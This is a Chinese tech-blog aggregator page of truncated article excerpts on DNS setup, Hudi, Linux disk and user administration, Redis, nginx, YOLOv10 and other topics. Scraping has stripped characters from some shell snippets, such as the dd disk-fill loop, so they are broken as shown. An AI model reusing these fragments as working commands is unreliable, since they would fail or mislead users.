轻松搞定阿里云域名DNS解析
本文将会讲解如何设置阿里云域名DNS解析。在进行解析设置之前,你需要提前准备好需要设置的云服务器IP地址、域名以及CNAME记录。 如果你还没有云服务器和域名,可以参考下面的方法注册一个。 申请域名:《Namesilo域名注册》注册云服务器&…...

GAT1399协议分析(10)--单图像删除
一、官方接口 由于批量删除的接口,图像只能单独删除。 二、wireshark实例 这个接口比较简单,调用request delete即可 文本化: DELETE /VIID/Images/34078100001190001002012024060513561300065 HTTP/1.1 Host: 10.0.201.56:31400 User-Age…...
Hudi CLI 安装配置总结
前言 上篇文章 总结了Spark SQL Rollback, Hudi CLI 也能实现 Rollback,本文总结下 Hudi CLI 安装配置以及遇到的问题。 官方文档 https://hudi.apache.org/cn/docs/cli/ 版本 Hudi 0.13.0(发现有bug)、(然后升级)0.14.1Spark 3.2.3打包 mvn clean package -DskipTes…...

实验八、地址解析协议《计算机网络》
水逆退散,学业进步,祝我们都好,不止在夏天。 目录 一、实验目的 二、实验内容 (1)预备知识 (2)实验步骤 三、实验小结 一、实验目的 完成本练习之后,您应该能够确定给定 IP 地…...
Linux系统管理磁盘管理003
操作系统: CentOS Stream9 测试过程: 模拟磁盘被沾满, 创建文件 测试脚本 for i in seq 10do# echo $idd if/dev/zero of./$i-$RANDOM.txt bs1M count1024 Done[rootlocalhost ~]# vim 2.txt [rootlocalhost ~]# sh 2.txt 记录了10240 的…...
MLC工具是否适用AMD和ARM场景?如何测试内存性能?
MLC(Memory Latency Checker)主要是由Intel开发的工具,主要用于Intel平台上的内存性能测试,尤其是针对Intel处理器的内存延迟和带宽。尽管MLC主要针对Intel处理器设计,理论上它可以在任何支持Intel兼容指令集的系统上运…...

NodeJs实现脚本:将xlxs文件输出到json文件中
文章目录 前期工作和依赖笔记功能代码输出 最近有一个功能,将json文件里的内容抽取到一个xlxs中,然后维护xlxs文件。当要更新json文件时,就更新xlxs的内容并把它传回json中。这个脚本主要使用NodeJS写。 以下是完成此功能时做的一些笔记。 …...

【启程Golang之旅】网络编程与反射
欢迎来到Golang的世界!在当今快节奏的软件开发领域,选择一种高效、简洁的编程语言至关重要。而在这方面,Golang(又称Go)无疑是一个备受瞩目的选择。在本文中,带领您探索Golang的世界,一步步地了…...
nginx location正则表达式+案例解析
1、nginx常用的正则表达式 ^ :匹配输入字符串的起始位置$ :匹配输入字符串的结束位置 *:匹配前面的字符零次或多次。如“ol*”能匹配“o”及“ol”、“oll” :匹配前面的字符一次或多次。如“ol”能匹配“ol”及“oll”、“olll”…...

【YOLO系列】YOLOv10论文超详细解读(翻译 +学习笔记)
前言 研究AI的同学们面对的一个普遍痛点是,刚开始深入研究一项新技术,没等明白透彻,就又迎来了新的更新版本——就像我还在忙着逐行分析2月份发布的YOLOv9代码,5月底清华的大佬们就推出了全新的v10。。。 在繁忙之余࿰…...

植物大战僵尸杂交版2024潜艇伟伟迷
在广受欢迎的游戏《植物大战僵尸》的基础上,我最近设计了一款创新的杂交版游戏,简直是太赞了!这款游戏结合了原有游戏的塔防机制,同时引入新的元素、角色和挑战,为玩家提供了全新的游戏体验。 植物大战僵尸杂交版最新绿…...

白话解读网络爬虫
网络爬虫(Web Crawler),也称为网络蜘蛛、网络机器人或网络蠕虫,是一种自动化程序或脚本,被用来浏览互联网并收集信息。网络爬虫的主要功能是在互联网上自动地浏览网页、抓取内容并将其存储在本地或远程服务器上供后续处…...

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式
一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明:假设每台服务器已…...

超短脉冲激光自聚焦效应
前言与目录 强激光引起自聚焦效应机理 超短脉冲激光在脆性材料内部加工时引起的自聚焦效应,这是一种非线性光学现象,主要涉及光学克尔效应和材料的非线性光学特性。 自聚焦效应可以产生局部的强光场,对材料产生非线性响应,可能…...
linux 下常用变更-8
1、删除普通用户 查询用户初始UID和GIDls -l /home/ ###家目录中查看UID cat /etc/group ###此文件查看GID删除用户1.编辑文件 /etc/passwd 找到对应的行,YW343:x:0:0::/home/YW343:/bin/bash 2.将标红的位置修改为用户对应初始UID和GID: YW3…...

【OSG学习笔记】Day 16: 骨骼动画与蒙皮(osgAnimation)
骨骼动画基础 骨骼动画是 3D 计算机图形中常用的技术,它通过以下两个主要组件实现角色动画。 骨骼系统 (Skeleton):由层级结构的骨头组成,类似于人体骨骼蒙皮 (Mesh Skinning):将模型网格顶点绑定到骨骼上,使骨骼移动…...

蓝桥杯3498 01串的熵
问题描述 对于一个长度为 23333333的 01 串, 如果其信息熵为 11625907.5798, 且 0 出现次数比 1 少, 那么这个 01 串中 0 出现了多少次? #include<iostream> #include<cmath> using namespace std;int n 23333333;int main() {//枚举 0 出现的次数//因…...

html css js网页制作成品——HTML+CSS榴莲商城网页设计(4页)附源码
目录 一、👨🎓网站题目 二、✍️网站描述 三、📚网站介绍 四、🌐网站效果 五、🪓 代码实现 🧱HTML 六、🥇 如何让学习不再盲目 七、🎁更多干货 一、👨…...

HDFS分布式存储 zookeeper
hadoop介绍 狭义上hadoop是指apache的一款开源软件 用java语言实现开源框架,允许使用简单的变成模型跨计算机对大型集群进行分布式处理(1.海量的数据存储 2.海量数据的计算)Hadoop核心组件 hdfs(分布式文件存储系统)&a…...

排序算法总结(C++)
目录 一、稳定性二、排序算法选择、冒泡、插入排序归并排序随机快速排序堆排序基数排序计数排序 三、总结 一、稳定性 排序算法的稳定性是指:同样大小的样本 **(同样大小的数据)**在排序之后不会改变原始的相对次序。 稳定性对基础类型对象…...
Redis:现代应用开发的高效内存数据存储利器
一、Redis的起源与发展 Redis最初由意大利程序员Salvatore Sanfilippo在2009年开发,其初衷是为了满足他自己的一个项目需求,即需要一个高性能的键值存储系统来解决传统数据库在高并发场景下的性能瓶颈。随着项目的开源,Redis凭借其简单易用、…...
【Elasticsearch】Elasticsearch 在大数据生态圈的地位 实践经验
Elasticsearch 在大数据生态圈的地位 & 实践经验 1.Elasticsearch 的优势1.1 Elasticsearch 解决的核心问题1.1.1 传统方案的短板1.1.2 Elasticsearch 的解决方案 1.2 与大数据组件的对比优势1.3 关键优势技术支撑1.4 Elasticsearch 的竞品1.4.1 全文搜索领域1.4.2 日志分析…...